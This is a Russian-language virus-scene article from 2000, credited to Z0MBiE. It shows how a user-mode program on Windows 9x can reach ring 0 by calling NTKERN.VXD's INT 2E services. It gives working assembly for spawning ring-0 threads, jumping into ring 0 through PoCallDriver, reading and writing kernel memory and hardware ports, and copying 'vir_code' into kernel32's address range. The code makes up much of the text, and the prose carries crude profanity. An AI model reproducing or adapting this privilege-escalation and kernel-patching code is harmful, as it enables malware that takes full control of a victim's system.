(x) 2000 Z0MBiE
http://z0mbie.host.sk
Рассмотрим некую Win32-программу. Как известно, программа эта вызывает kernel, а kernel уже вызывает ring-0.
Под Win9X VMM/VWIN32 реализует специальные сервисы для kernelа. Вызываются они так:
kernel@int21: 015F:BFF712B9 push ecx push eax push 002A0010 ; <-- service-number call kernel@ord0 ret kernel@ord0: 015F:BFF713D4 mov eax, [esp+4] pop dword ptr [esp] call far cs:[BFFC9734] ... 015F:BFF79734 dd 000003C8h ; offset dw 003Bh ; selector ... 003B:03C8 int 30h ...
где service-number -- номер сервиса, например 0x002A0010 для INT 21, 0x002A0029 для INT 31, и так далее. Надо сказать, что с номерами VxD-callов эти сервисы не имеют ничего общего. Найти полный список соответствий всяких номеров именам сервисов можно в питреке.
Под WinNT ноль вызывается из кернела посредством INT 2E.
Но, как выяснилось, в маздае в VMMе существует NTKERN.VXD, коий реализует NT-евые сервисы. Называются они типа ntoskrnl!DbkBreakPoint и вызываются так же -- через INT 2E. И, о чудо, у такого рулезного инта DPL=3, то есть его можно вызывать прямо из PE файла. Более того, в обработчике нет никаких хитрожопых проверок - типа откуда пришел вызов.
Дальше-интереснее. Оказывается, INT 2E активно используется при загрузке маздая. А во время работы маздай может пользовать функции типа ntoskrnl!NtPowerInformation.
Короче говоря, можно вызывать INT 2E из PE файлов одним из следующих способов:
; 1. mov eax, service-number lea edx, stk int 2Eh stk: dd param1 dd param2 dd param3 ... ; 2. ... push param3 push param2 push param1 mov edx, esp mov eax, service-number int 2Eh add esp, 4*n
Как видим, при вызове INT 2E в EAX должен быть номер сервиса, а в EDX указатель на кадр стэка. Перед тем как вызвать соответствующую функцию, обработчик инта копирует данные из *EDX в свой стэк.
Список всех номеров и имен функций лежит в ntoskrnl.inc
Далее идут описания некоторых наиболее интересных функций INT 2E.
PsCreateSystemThread
Тут все и так ясно. Создаем нить прямо в нуле. При выходе из нити (по RET)
она автоматически убивается ф-цией PsTerminateSystemThread.
PoCallDriver
Никакими драйверами тут и не пахнет. Эта функция просто передает
управление (в нуле) туда, куда ей скажут.
Единственный минус -- ей надо уж очень по-изъебски передавать параметры.
Кадр стэка выглядит так:
А реальный код, коий я по возможности соптимизировал, такой:
Эти функции подразумевают работу с памятью через нулевое кольцо.
Это значит, что вы из третьего кольца передаете параметры, а
в нуле производятся чтение/запись памяти. Таким образом можно читать/писать
в защищенную в третьем кольце память, например в kernel.
Причем для работы с памятью из нуля существует просто охуительное
количество всяких функций, включая всякие InterlockedIncrement'ы и
функции для работы со строками, юникодными и не очень.
RtlCopyMemory, RtlMoveMemory
Отличаются эти две функции тем, что RtlCopyMemory просто берет и
копирует буфера командой movs,
а RtlMoveMemory сначала анализирует esi и edi, а потом копирует буфер по
одному байту, причем начиная либо с начала либо с конца буфера.
Таким образом RtlMoveMemory корректно обработает перекрывающиеся области
esi...esi+ecx и edi...edi+ecx.
READ_REGISTER_BUFFER_UCHAR/ULONG/USHORT
Реализации команд REP MOVSB, REP MOVSD и REP MOVSW соответственно.
WRITE_REGISTER_BUFFER_UCHAR/ULONG/USHORT
Аналогично предыдущим: REP MOVSB, REP MOVSD и REP MOVSW,
НО источник и приемник поменялись местами.
READ_REGISTER_UCHAR/ULONG/USHORT
Считать BYTE/DWORD/WORD.
(MOV AL,[ESI], MOV EAX,[ESI] и MOV AX,[ESI])
Значение возвращается в EAX.
WRITE_REGISTER_UCHAR/ULONG/USHORT
Записать BYTE/DWORD/WORD.
(MOV [EDI],AL, MOV [EDI],EAX и MOV [EDI],AX)
READ_PORT_BUFFER_UCHAR/ULONG/USHORT
Выполнить REP INSB, REP INSD и REP INSW соответственно.
WRITE_PORT_BUFFER_UCHAR/ULONG/USHORT
REP OUTSB, REP OUTSD и REP OUTSW
READ_PORT_UCHAR/ULONG/USHORT
Выполнить IN AL,DX, IN EAX,DX и IN AX,DX соответственно.
WRITE_PORT_UCHAR/ULONG/USHORT
OUT DX,AL, OUT DX,EAX и OUT DX,AX.
IoGetCurrentProcess, PsGetCurrentProcess
Обе функции указывают на один и тот же обработчик. Хендл текущего
процесса возвращается в EAX.
Обработчик GetCurrentProcess'а изнутри реализует следующее:
KeGetCurrentThread, PsGetCurrentThread
Опять один и тот же обработчик. Хендл текущей
нити возвращается в EAX.
KeQuerySystemTime
Совершенно непонятно как обстоит дело с функциями для работы с файлами.
(IoCreateFile, NtCreateFile, ZwCreateFile, ZwReadFile, ZwWriteFile,
DeviceIoControlFile, etc.)
Я слышал, есть книжка про недокументированные возможности WinNT.
Но те параметры, которые там описаны для соответствующих функций, передаются
из программы в кернел, а ведь из кернела в ноль передаются уже совсем
другие вещи, даже число параметров не совпадает. Ну а трассировать
обработчик CreateFile выясняя все его 11 хитроизъебских параметров --
как-то лениво.
Существуют также функции для работы с registry.
(RtlDeleteRegistryValue, RtlQueryRegistryValues, RtlWriteRegistryValue,
IoOpenDeviceInterfaceRegistryKey, IoOpenDeviceRegistryKey,
может быть -- ZwCreateKey, ZwDeleteKey, ZwEnumerateKey, ZwEnumerateValueKey,
ZwOpenKey и т.п.)
Этих функция я не проверял, но они явно показывают на какой-то нормальный
код и могут быть вызваны.
Большинство функций, для которых не указано число параметров (в
ntoskrnl.inc написан '-'),
являются ВНУТРЕННИМИ, то есть параметры им передаются,
но не на стэке а в регистрах, и вызвать их, минуя похеривание
регистров в обработчике INT 2E нет никакой возможности.
Обычно эти функции написаны полностью маленькими буквами или
начинаются с подчеркивания, типа memmove, memset, qsort, rand, sprintf,
_except_handler2, _global_unwind2 и т.п.
* * * см. также примеры в ntoskrnl.zip
(c) Переход в RING-0
...
mov eax, i2E_PsCreateSystemThread
lea edx, stk
int 2Eh
__cycle: cmp r0_finished, 1
jne __cycle
...
stk: dd offset thread_handle ; 0 or *thread_handle
dd 0 ; 0 or 0x1F03FF
dd 0 ; 0
dd 0 ; 0
dd 0 ; 0
dd offset ring0 ; thread EIP, near proc
dd 12345678h ; thread-parameter
; input: [ESP+4]=EDI=thread_parameter
ring0: int 3
mov r0_finished, 1
ret
stk dd offset x1
dd offset x2
x1 db 8 dup (0)
dd offset x3
x2 db 60h dup (0)
dd offset x4+24h
x4 db 18h dup (0)
x3 db 38h dup (0)
dd ring_0
lea esi, r0proc
call callring0
...
r0proc: int 3
ret
; subroutine: callring0
; input: ESI=offset ring_0, proc NEAR
callring0: pusha
call @@X
pusha
call dword ptr [ecx]
popa
ret 8
@@X: sub esp, 14h
xor eax, eax
push eax
lea edx, [esp+24h]
push edx
sub esp, 54h
lea edx, [esp+38h]
push edx
push edx
push esi
mov edx, esp
push edx
push edx
mov edx, esp
mov al, i2E_PoCallDriver
int 2Eh
popa
add esp, 88h-20h
popa
ret
Работа с памятью
mov eax, i2E_RtlCopyMemory ; or RtlMoveMemory
lea edx, stk
int 2Eh
...
stk: dd 0BFF7xxxxh ; edi (destination)
dd offset vir_code ; esi (source)
dd vir_size ; ecx (length in bytes)
push ecx
push edi
push esi
mov edx, esp
mov eax, i2E_READ_REGISTER_BUFFER_ULONG
int 2Eh
add esp, 3*4
push ecx
push esi
push edi
mov edx, esp
mov eax, i2E_WRITE_REGISTER_BUFFER_ULONG
int 2Eh
add esp, 3*4
push esi
mov edx, esp
mov eax, i2E_READ_REGISTER_UCHAR
int 2Eh
add esp, 1*4
push eax
push edi
mov edx, esp
mov eax, i2E_WRITE_REGISTER_UCHAR
int 2Eh
add esp, 2*4
Работа с портами
push ecx
push edi
push edx
mov edx, esp
mov eax, i2E_READ_PORT_BUFFER_ULONG
int 2Eh
add esp, 3*4
push ecx
push esi
push edx
mov edx, esp
mov eax, i2E_WRITE_PORT_BUFFER_ULONG
int 2Eh
add esp, 3*4
push edx
mov edx, esp
mov eax, i2E_READ_PORT_ULONG
int 2Eh
add esp, 1*4
push eax
push edx
mov edx, esp
mov eax, i2E_WRITE_PORT_UCHAR
int 2Eh
add esp, 2*4
Процессы и нити
mov eax, i2E_IoGetCurrentProcess
int 2Eh
call ntoskrnl!KeGetCurrentThread
mov eax, [eax+4]
ret
mov eax, i2E_KeGetCurrentThread
int 2Eh
Прочие функции
push offset systime
mov edx, esp
mov eax, i2E_KeQuerySystemTime
int 2Eh
add esp, 4
...
systime dq ?
Коментарии